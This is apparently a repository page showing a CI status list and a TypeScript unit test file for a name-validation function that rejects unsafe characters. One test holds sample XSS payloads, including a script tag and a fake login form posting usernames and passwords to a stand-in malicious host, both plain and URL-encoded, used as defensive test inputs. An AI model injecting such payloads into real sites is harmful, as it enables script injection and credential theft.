Some checks failed
Create issues from TODOs / todos (push) Failing after 3s
Close inactive issues / close-issues (push) Has been cancelled
Deploy GitHub Pages / deploy-preview (push) Has been cancelled
CI / ⚙️ Variables Setup (push) Has been cancelled
CI / ⚙️ Test Guard (push) Has been cancelled
CI / 🚀 Notify external services - draft (push) Has been cancelled
CI / 📦 Build Packages (push) Has been cancelled
CI / 📦 Meteor Build (coverage) (push) Has been cancelled
CI / 📦 Meteor Build (production) (push) Has been cancelled
CI / 🚢 Build Docker (amd64, [account-service presence-service omnichannel-transcript-service], ${{ (github.event_name != 'release' && github.ref != 'refs/heads/develop') && 'coverage' || 'production' }}) (push) Has been cancelled
CI / 🚢 Build Docker (amd64, [account-service presence-service omnichannel-transcript-service], fips) (push) Has been cancelled
CI / 🚢 Build Docker (amd64, [authorization-service queue-worker-service ddp-streamer-service], ${{ (github.event_name != 'release' && github.ref != 'refs/heads/develop') && 'coverage' || 'production' }}) (push) Has been cancelled
CI / 🚢 Build Docker (amd64, [authorization-service queue-worker-service ddp-streamer-service], fips) (push) Has been cancelled
CI / 🚢 Build Docker (amd64, [rocketchat], ${{ (github.event_name != 'release' && github.ref != 'refs/heads/develop') && 'coverage' || 'production' }}) (push) Has been cancelled
CI / 🚢 Build Docker (amd64, [rocketchat], coverage) (push) Has been cancelled
CI / 🚢 Build Docker (amd64, [rocketchat], fips) (push) Has been cancelled
CI / 🚢 Build Docker (arm64, [account-service presence-service omnichannel-transcript-service], ${{ (github.event_name != 'release' && github.ref != 'refs/heads/develop') && 'coverage' || 'production' }}) (push) Has been cancelled
CI / 🚢 Build Docker (arm64, [authorization-service queue-worker-service ddp-streamer-service], ${{ (github.event_name != 'release' && github.ref != 'refs/heads/develop') && 'coverage' || 'production' }}) (push) Has been cancelled
CI / 🚢 Build Docker (arm64, [rocketchat], ${{ (github.event_name != 'release' && github.ref != 'refs/heads/develop') && 'coverage' || 'production' }}) (push) Has been cancelled
CI / 🚢 Build Docker (arm64, [rocketchat], coverage) (push) Has been cancelled
CI / 🚢 Publish Docker Images (ghcr.io) (push) Has been cancelled
CI / 📦 Track Image Sizes (push) Has been cancelled
CI / 🔎 Code Check - Action Lint (push) Has been cancelled
CI / 🔎 Code Check (push) Has been cancelled
CI / 🔨 Test Storybook (push) Has been cancelled
CI / 🔨 Test Unit (push) Has been cancelled
CI / 🔨 Test API (CE) (push) Has been cancelled
CI / 🔨 Test API Livechat (CE) (push) Has been cancelled
CI / 🔨 Test UI (CE) (push) Has been cancelled
CI / 🔨 Test API (EE) (push) Has been cancelled
CI / 🔨 Test API Livechat (EE) (push) Has been cancelled
CI / 🔨 Test API Apps (deno-runtime - EE) (push) Has been cancelled
CI / 🔨 Test UI (EE) (push) Has been cancelled
CI / 🔨 Test API (FIPS) (push) Has been cancelled
CI / 🔨 Test API Livechat (FIPS) (push) Has been cancelled
CI / 🔨 Test UI (FIPS) (push) Has been cancelled
CI / 🔨 Test Federation Matrix (push) Has been cancelled
CI / 📊 Report Coverage (push) Has been cancelled
CI / ✅ Tests Done (push) Has been cancelled
CI / 🚀 Publish build assets (push) Has been cancelled
CI / 🚀 Publish Docker Images (DockerHub) (push) Has been cancelled
CI / 🚀 Notify external services (push) Has been cancelled
CI / Update Version Durability (push) Has been cancelled
Release / Release (push) Has been cancelled
Auto-close duplicate issues / auto-close-duplicates (push) Failing after 1s
Code scanning - action / CodeQL-Build (push) Failing after 1s
57 lines
2.4 KiB
TypeScript
57 lines
2.4 KiB
TypeScript
import { expect } from 'chai';
|
|
|
|
import { validateNameChars } from '../../../../../server/lib/shared/validateNameChars';
|
|
|
|
describe('validateNameChars', () => {
|
|
it('should return false for undefined input', () => {
|
|
expect(validateNameChars(undefined)).to.be.false;
|
|
});
|
|
|
|
it('should return false for non-string input', () => {
|
|
expect(validateNameChars(123 as any)).to.be.false;
|
|
expect(validateNameChars({} as any)).to.be.false;
|
|
expect(validateNameChars([] as any)).to.be.false;
|
|
});
|
|
|
|
it('should return false for names with invalid characters', () => {
|
|
expect(validateNameChars('name<')).to.be.false;
|
|
expect(validateNameChars('name>')).to.be.false;
|
|
expect(validateNameChars('name/')).to.be.false;
|
|
expect(validateNameChars('name\\')).to.be.false;
|
|
});
|
|
|
|
it('should return false for names with invalid characters after decoding', () => {
|
|
expect(validateNameChars('name%3E')).to.be.false;
|
|
expect(validateNameChars('name%5C')).to.be.false;
|
|
expect(validateNameChars('name%3C')).to.be.false;
|
|
});
|
|
|
|
it('should return false for malicious HTML payloads', () => {
|
|
expect(validateNameChars('<script>alert("XSS");</script>')).to.be.false;
|
|
expect(validateNameChars('%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E')).to.be.false;
|
|
expect(
|
|
validateNameChars(
|
|
'<form action="http://malicious.site" method="post"><input type="text" name="username" value="Enter username"><input type="password" name="password" value="Enter password"><input type="submit" value="Submit"></form>',
|
|
),
|
|
).to.be.false;
|
|
expect(
|
|
validateNameChars(
|
|
'%3Cform%20action%3D%22http%3A%2F%2Fmalicious.site%22%20method%3D%22post%22%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%20value%3D%22Enter%20username%22%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%20value%3D%22Enter%20password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Submit%22%3E%3C%2Fform%3E',
|
|
),
|
|
).to.be.false;
|
|
});
|
|
|
|
it('should return false if decodeURI throws an error', () => {
|
|
expect(validateNameChars('%')).to.be.false;
|
|
expect(validateNameChars('%E0%A4%A')).to.be.false;
|
|
});
|
|
|
|
it('should return true for valid names', () => {
|
|
expect(validateNameChars('name')).to.be.true;
|
|
expect(validateNameChars('valid_name')).to.be.true;
|
|
expect(validateNameChars('valid-name')).to.be.true;
|
|
expect(validateNameChars('valid.name')).to.be.true;
|
|
expect(validateNameChars('valid name')).to.be.true;
|
|
});
|
|
});
|